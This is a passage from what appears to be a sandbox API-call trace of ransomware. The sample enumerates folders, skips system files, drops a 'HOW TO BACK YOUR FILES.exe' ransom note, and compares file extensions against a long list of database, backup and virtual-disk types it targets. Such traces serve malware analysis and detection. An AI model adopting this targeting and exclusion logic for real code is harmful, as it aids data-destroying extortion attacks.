	[0035.686] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.686] lstrlenW (lpString="vpd") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.686] lstrlenW (lpString="vvv") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.686] lstrlenW (lpString="wdb") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.686] lstrlenW (lpString="wmdb") returned 4
	[0035.686] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.686] lstrlenW (lpString="wrk") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.686] lstrlenW (lpString="xdb") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.686] lstrlenW (lpString="xld") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.686] lstrlenW (lpString="xmlff") returned 5
	[0035.686] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.686] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8e9c30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.686] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.686] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="Apollon865.txt.exe") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2=".") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="..") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="windows") returned -1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="bootmgr") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="temp") returned -1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="pagefile.sys") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="boot") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="ids.txt") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="ntuser.dat") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="perflogs") returned 1
	[0035.686] lstrcmpiW (lpString1="Sample Videos", lpString2="MSBuild") returned 1
	[0035.686] lstrlenW (lpString="Sample Videos") returned 13
	[0035.686] lstrlenW (lpString="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0035.687] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos"
	[0035.687] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", dwFileAttributes=0x10) returned 1
	[0035.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0035.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc858
	[0035.687] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0035.687] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0
	[0035.687] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0035.687] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0035.687] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Videos\\Sample Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos"
	[0035.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc858 | out: hHeap=0x580000) returned 1
	[0035.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0035.687] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos") returned 36
	[0035.687] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Videos\\Sample Videos" | out: lpString1="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos"
	[0035.687] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.687] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.691] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.691] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0035.692] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.692] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.692] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.692] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.692] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.692] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.692] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.692] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.692] lstrlenW (lpString="desktop.ini") returned 11
	[0035.692] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos\\*") returned 38
	[0035.692] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.692] lstrlenW (lpString="desktop.ini") returned 11
	[0035.692] lstrlenW (lpString="Apollon865") returned 10
	[0035.692] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.692] lstrlenW (lpString=".dll") returned 4
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.692] lstrlenW (lpString=".lnk") returned 4
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.692] lstrlenW (lpString=".ini") returned 4
	[0035.692] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.693] lstrlenW (lpString=".sys") returned 4
	[0035.693] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.693] lstrlenW (lpString="desktop.ini") returned 11
	[0035.693] lstrlenW (lpString="bak") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.693] lstrlenW (lpString="ba_") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.693] lstrlenW (lpString="dbb") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.693] lstrlenW (lpString="vmdk") returned 4
	[0035.693] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.693] lstrlenW (lpString="rar") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.693] lstrlenW (lpString="zip") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.693] lstrlenW (lpString="tgz") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.693] lstrlenW (lpString="vbox") returned 4
	[0035.693] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.693] lstrlenW (lpString="vdi") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.693] lstrlenW (lpString="vhd") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.693] lstrlenW (lpString="vhdx") returned 4
	[0035.693] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.693] lstrlenW (lpString="avhd") returned 4
	[0035.693] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.693] lstrlenW (lpString="db") returned 2
	[0035.693] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.693] lstrlenW (lpString="db2") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.693] lstrlenW (lpString="db3") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.693] lstrlenW (lpString="dbf") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.693] lstrlenW (lpString="mdf") returned 3
	[0035.693] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.694] lstrlenW (lpString="mdb") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.694] lstrlenW (lpString="sql") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.694] lstrlenW (lpString="sqlite") returned 6
	[0035.694] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.694] lstrlenW (lpString="sqlite3") returned 7
	[0035.694] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.694] lstrlenW (lpString="sqlitedb") returned 8
	[0035.694] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.694] lstrlenW (lpString="xml") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.694] lstrlenW (lpString="$er") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.694] lstrlenW (lpString="4dd") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.694] lstrlenW (lpString="4dl") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.694] lstrlenW (lpString="^^^") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.694] lstrlenW (lpString="abs") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.694] lstrlenW (lpString="abx") returned 3
	[0035.694] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.694] lstrlenW (lpString="accdb") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.694] lstrlenW (lpString="accdc") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.694] lstrlenW (lpString="accde") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.694] lstrlenW (lpString="accdr") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.694] lstrlenW (lpString="accdt") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.694] lstrlenW (lpString="accdw") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.694] lstrlenW (lpString="accft") returned 5
	[0035.694] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.694] lstrlenW (lpString="adb") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.695] lstrlenW (lpString="adb") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.695] lstrlenW (lpString="ade") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.695] lstrlenW (lpString="adf") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.695] lstrlenW (lpString="adn") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.695] lstrlenW (lpString="adp") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.695] lstrlenW (lpString="alf") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.695] lstrlenW (lpString="ask") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.695] lstrlenW (lpString="btr") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.695] lstrlenW (lpString="cat") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.695] lstrlenW (lpString="cdb") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.695] lstrlenW (lpString="ckp") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.695] lstrlenW (lpString="cma") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.695] lstrlenW (lpString="cpd") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.695] lstrlenW (lpString="dacpac") returned 6
	[0035.695] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.695] lstrlenW (lpString="dad") returned 3
	[0035.695] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.695] lstrlenW (lpString="dadiagrams") returned 10
	[0035.695] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.695] lstrlenW (lpString="daschema") returned 8
	[0035.695] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.695] lstrlenW (lpString="db-journal") returned 10
	[0035.695] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.695] lstrlenW (lpString="db-shm") returned 6
	[0035.695] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.695] lstrlenW (lpString="db-wal") returned 6
	[0035.696] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.696] lstrlenW (lpString="dbc") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.696] lstrlenW (lpString="dbs") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.696] lstrlenW (lpString="dbt") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.696] lstrlenW (lpString="dbv") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.696] lstrlenW (lpString="dbx") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.696] lstrlenW (lpString="dcb") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.696] lstrlenW (lpString="dct") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.696] lstrlenW (lpString="dcx") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.696] lstrlenW (lpString="ddl") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.696] lstrlenW (lpString="dlis") returned 4
	[0035.696] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.696] lstrlenW (lpString="dp1") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.696] lstrlenW (lpString="dqy") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.696] lstrlenW (lpString="dsk") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.696] lstrlenW (lpString="dsn") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.696] lstrlenW (lpString="dtsx") returned 4
	[0035.696] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.696] lstrlenW (lpString="dxl") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.696] lstrlenW (lpString="eco") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.696] lstrlenW (lpString="ecx") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.696] lstrlenW (lpString="edb") returned 3
	[0035.696] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.696] lstrlenW (lpString="epim") returned 4
	[0035.697] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.697] lstrlenW (lpString="fcd") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.697] lstrlenW (lpString="fdb") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.697] lstrlenW (lpString="fic") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.697] lstrlenW (lpString="flexolibrary") returned 12
	[0035.697] lstrlenW (lpString="fm5") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.697] lstrlenW (lpString="fmp") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.697] lstrlenW (lpString="fmp12") returned 5
	[0035.697] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.697] lstrlenW (lpString="fmpsl") returned 5
	[0035.697] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.697] lstrlenW (lpString="fol") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.697] lstrlenW (lpString="fp3") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.697] lstrlenW (lpString="fp4") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.697] lstrlenW (lpString="fp5") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.697] lstrlenW (lpString="fp7") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.697] lstrlenW (lpString="fpt") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.697] lstrlenW (lpString="frm") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.697] lstrlenW (lpString="gdb") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.697] lstrlenW (lpString="gdb") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.697] lstrlenW (lpString="grdb") returned 4
	[0035.697] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.697] lstrlenW (lpString="gwi") returned 3
	[0035.697] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.698] lstrlenW (lpString="hdb") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.698] lstrlenW (lpString="his") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.698] lstrlenW (lpString="ib") returned 2
	[0035.698] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.698] lstrlenW (lpString="idb") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.698] lstrlenW (lpString="ihx") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.698] lstrlenW (lpString="itdb") returned 4
	[0035.698] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.698] lstrlenW (lpString="itw") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.698] lstrlenW (lpString="jet") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.698] lstrlenW (lpString="jtx") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.698] lstrlenW (lpString="kdb") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.698] lstrlenW (lpString="kexi") returned 4
	[0035.698] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.698] lstrlenW (lpString="kexic") returned 5
	[0035.698] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.698] lstrlenW (lpString="kexis") returned 5
	[0035.698] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.698] lstrlenW (lpString="lgc") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.698] lstrlenW (lpString="lwx") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.698] lstrlenW (lpString="maf") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.698] lstrlenW (lpString="maq") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.698] lstrlenW (lpString="mar") returned 3
	[0035.698] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.698] lstrlenW (lpString="marshal") returned 7
	[0035.698] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.698] lstrlenW (lpString="mas") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.699] lstrlenW (lpString="mav") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.699] lstrlenW (lpString="maw") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.699] lstrlenW (lpString="mdbhtml") returned 7
	[0035.699] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.699] lstrlenW (lpString="mdn") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.699] lstrlenW (lpString="mdt") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.699] lstrlenW (lpString="mfd") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.699] lstrlenW (lpString="mpd") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.699] lstrlenW (lpString="mrg") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.699] lstrlenW (lpString="mud") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.699] lstrlenW (lpString="mwb") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.699] lstrlenW (lpString="myd") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.699] lstrlenW (lpString="ndf") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.699] lstrlenW (lpString="nnt") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.699] lstrlenW (lpString="nrmlib") returned 6
	[0035.699] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.699] lstrlenW (lpString="ns2") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.699] lstrlenW (lpString="ns3") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.699] lstrlenW (lpString="ns4") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.699] lstrlenW (lpString="nsf") returned 3
	[0035.699] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.699] lstrlenW (lpString="nv") returned 2
	[0035.699] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.700] lstrlenW (lpString="nv2") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.700] lstrlenW (lpString="nwdb") returned 4
	[0035.700] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.700] lstrlenW (lpString="nyf") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.700] lstrlenW (lpString="odb") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.700] lstrlenW (lpString="odb") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.700] lstrlenW (lpString="oqy") returned 3
